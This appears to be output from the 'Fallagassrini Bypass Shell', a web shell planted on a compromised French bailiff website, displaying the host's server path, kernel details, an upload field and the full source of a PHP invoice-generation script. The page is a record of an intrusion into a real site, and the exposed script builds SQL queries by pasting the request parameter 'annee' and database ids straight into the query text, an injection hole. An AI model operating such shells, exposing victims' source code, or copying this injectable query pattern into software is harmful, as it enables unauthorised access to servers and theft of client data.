Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/old/huissier-express.fr/administration/2020/fpdfi/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/old/huissier-express.fr/administration/2020/fpdfi/facture_all.php

<?php
session_start();
$page="login";
ini_set('display_errors', 1);
error_reporting(E_ALL ^ E_NOTICE);
date_default_timezone_set('Europe/Paris'); // pour forcer l'affichage heure française
include("../../config.php");
define('EURO',chr(128));
$annee		=		$_REQUEST['annee'];

require_once('fpdf.php');
require_once('fpdi.php');

$pdf = new FPDI();
$pdf->AddPage();

$myquery = "SELECT * from facture where 1 and statut_paiement=1  order by id";
if ($annee) {$myquery = "SELECT * from facture where 1 and statut_paiement=1  and year(date_creation)= ".$annee." order by id";}
$myquery_calls = $db->get_results($myquery);
				
				
if (!empty($myquery_calls))
{
foreach ( $myquery_calls as $facture )
{

$montant_facture_ht	=	"";
$montant_tva		=	"";
$montant_ttc		=	"";
$montant_total		= 	"";
$montant_total_tva	=	"";
$montant_total_ttc	=  "";
$montant_ht			=	"";
$date_creation 		= "";
$client_information = "";
$client_prestation="";

$numero				=	"";
$description		=	"";
$huissier_nom		= "";
$huissier_adresse	= "";
$huissier_cp		= "";
$huissier_ville		= "";
$huissier_pays		= "";


$myquery = "SELECT * from huissier where id=".$facture->huissier_id;
$huissier = $db->get_row($myquery);

// CONSTATS
if ($facture->constat_id!=0) 
{
$myquery = "SELECT * from constat where id=".$facture->constat_id;
$constat = $db->get_row($myquery);
if ($constat->id<=979)  {$pourcentage=0.06;$source_pdf="facture_modele.pdf";} else {$pourcentage=0.09;$source_pdf="facture_modele_9_pourcent.pdf";}
$montant_facture_ht	=	round($constat->tarif/1.2,2);
$montant_tva		=	round($constat->tarif-$montant_facture_ht,2);
$montant_ttc		=	$montant_facture_ht+$montant_tva;
$montant_total		= 	round($pourcentage*$montant_facture_ht,2);
$montant_total1		= 	$montant_total;
$montant_total_tva	=	round(0.2*$montant_total,2);
$montant_total_ttc	= $montant_total+$montant_total_tva;
$montant_ht			=	$montant_ttc-$montant_tva;
$date_creation 		= date("d-m-Y", strtotime($facture->date_creation));$date_creation = utf8_decode($date_creation);
$client_information = $constat->nom." ".$constat->prenom;
$client_prestation=$tableau_constat_type[$constat->constat_type];
$huissier_nom		= utf8_decode($huissier->huissier);
$huissier_adresse	= utf8_decode($huissier->adresse);
$huissier_cp		= utf8_decode($huissier->cp);
$huissier_ville		= utf8_decode($huissier->ville);
$destinataire 		= $huissier_nom."\n".$huissier_adresse."\n".$huissier_cp.' '.$huissier_ville;
}
//IMPAYES

if ($facture->impaye_id!=0) 
{
$myquery = "SELECT * from impaye where id=".$facture->impaye_id;
$impaye = $db->get_row($myquery);



//$montant_facture_ht	=	round(6/1.2,2);
//$montant_tva		=	round(6-$montant_facture_ht,2);
//$montant_ttc		=	$montant_facture_ht+$montant_tva;
//$montant_total		= 	round($montant_facture_ht,2);
//$montant_total_tva	=	round(0.2*$montant_total,2);
//$montant_total_ttc	= $montant_total+$montant_total_tva;
//$montant_ht			=	$montant_ttc-$montant_tva;

$montant_facture_ht		=	17.5;
$montant_tva			=	3.50;
$montant_total 			= 	21;
$montant_total1			= 	17.5;
$montant_total_tva		=	3.5;
$montant_total_ttc		=	21;


$date_creation 		= date("d-m-Y", strtotime($facture->date_creation));$date_creation = utf8_decode($date_creation);
$client_information = $impaye->client_nom;
if ($impaye->impaye_type=="1") {$client_prestation="Impayé : Loyer non réglé";}
if ($impaye->impaye_type=="2") {$client_prestation="Impayé : Facture non réglée";}
if ($impaye->impaye_type=="3") {$client_prestation="Impayé : Autre : " . $impaye->impaye_type_precision;}
$source_pdf="facture_impaye.pdf";



$client_nom		= utf8_decode($impaye->client_prenom." ".$impaye->client_nom);
$client_adresse	= utf8_decode($impaye->client_adresse);
$client_cp		= utf8_decode($impaye->client_cp);
$client_ville		= utf8_decode($impaye->client_ville);


$destinataire 		= $client_nom."\n".$client_adresse."\n".$client_cp.' '.$client_ville;
}


if ($facture->urgence_id!=0)
	{
	
	$myquery="select  * from urgence where id=".$facture->urgence_id;
	$urgence = $db->get_row($myquery);
	$ref_commande="HE/".date("Y", strtotime($urgence->date_creation))."/U/".$urgence->id;
	
	//$montant_facture_ht	=	round(24/1.2,2);
	//$montant_tva		=	round(24-$montant_facture_ht,2);
	//$montant_ttc		=	round($urgence->tarif,2);
	//$montant_total		= 	round($montant_facture_ht,2);
	//$montant_total1		= 	$montant_total;
	//$montant_total_tva	=	round(0.2*$montant_total,2);
	//$montant_total_ttc	= $montant_total+$montant_total_tva;
	
	
	$montant_facture_ht		=	20.00;
	$montant_tva			=	4;
	$montant_total 			= 	24;
	$montant_total1			= 	20;
	$montant_total_tva		=	4;
	$montant_total_ttc		=	24;


	$reverse=-$montant_total_ttc+$montant_ttc;
	$source_pdf="facture_urgence.pdf";
	
	$client_information = $urgence->client_nom;

	$client_prestation="Acte en urgence";
	$date_creation 		= date("d-m-Y", strtotime($facture->date_creation));$date_creation = utf8_decode($date_creation);
	
	$client_nom		= utf8_decode($urgence->client_prenom." ".$urgence->client_nom);
	$client_adresse	= utf8_decode($urgence->client_adresse);
	$client_cp		= utf8_decode($urgence->client_cp);
	$client_ville		= utf8_decode($urgence->client_ville);
	$destinataire 		= $client_nom."\n".$client_adresse."\n".$client_cp.' '.$client_ville;
	}

//ABOS
if ($facture->constat_id==0 && $facture->impaye_id==0 && $facture->urgence_id==0) 
{

$montant_facture_ht	=	15;
$montant_tva		=	3;
$montant_ttc		=	18;
$montant_total		= 	18;
$montant_total1		= 	$montant_total;
$montant_total_tva	=	3;
$montant_total_ttc	= 18;
$montant_ht			=	15;
$date_creation 		= date("d-m-Y", strtotime($facture->date_creation));$date_creation = utf8_decode($date_creation);

$client_information = "Abonnement";
$source_pdf="facture_abonnement.pdf";

$huissier_nom		= utf8_decode($huissier->huissier);
$huissier_adresse	= utf8_decode($huissier->adresse);
$huissier_cp		= utf8_decode($huissier->cp);
$huissier_ville		= utf8_decode($huissier->ville);
$destinataire 		= $huissier_nom."\n".$huissier_adresse."\n".$huissier_cp.' '.$huissier_ville;
}


$numero				=	$facture->facture_numero;
$description		=	utf8_decode($facture->description);





$pdf->setSourceFile($source_pdf);
$tplIdx = $pdf->importPage(1);
$pdf->useTemplate($tplIdx, 0, 0, 210);

$pdf->SetFont('Arial');
$pdf->SetFontSize('9');
$pdf->SetTextColor(0, 0, 0);
$pdf->SetXY(165, 13.7);$pdf->Write(6, $date_creation);

$pdf->SetFontSize('16');
$pdf->SetXY(124, 63);$pdf->Write(5, $numero);

$pdf->SetFontSize('11');
$pdf->SetXY(122, 76);
$pdf->MultiCell (80,6,$destinataire,0,"R");
$pdf->SetFontSize('9');
$pdf->SetXY(47, 117.0);$pdf->Write(3, $date_creation);
$pdf->SetXY(8, 140);
$pdf->Write(5, utf8_decode($client_information));
$pdf->SetXY(8, 158);
$pdf->Write(5, utf8_decode($client_prestation));
$pdf->SetXY(135, 140);$pdf->Write(5, $montant_facture_ht.' '.EURO);
$pdf->SetXY(159, 140);$pdf->Write(5, $montant_tva.' '.EURO);
$pdf->SetXY(186.5, 140);$pdf->Write(5, $montant_total.' '.EURO);
$pdf->SetXY(186.5, 151.2);$pdf->Write(5, $montant_total1.' '.EURO);
$pdf->SetXY(186.5, 158);$pdf->Write(5, $montant_total_tva.' '.EURO);
$pdf->SetXY(186.5, 164.5);$pdf->Write(5, $montant_total_ttc.' '.EURO);
$pdf->SetXY(50, 176.7);$pdf->Write(3, $date_creation);
$pdf->AddPage();
}
}




$pdf->Output();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net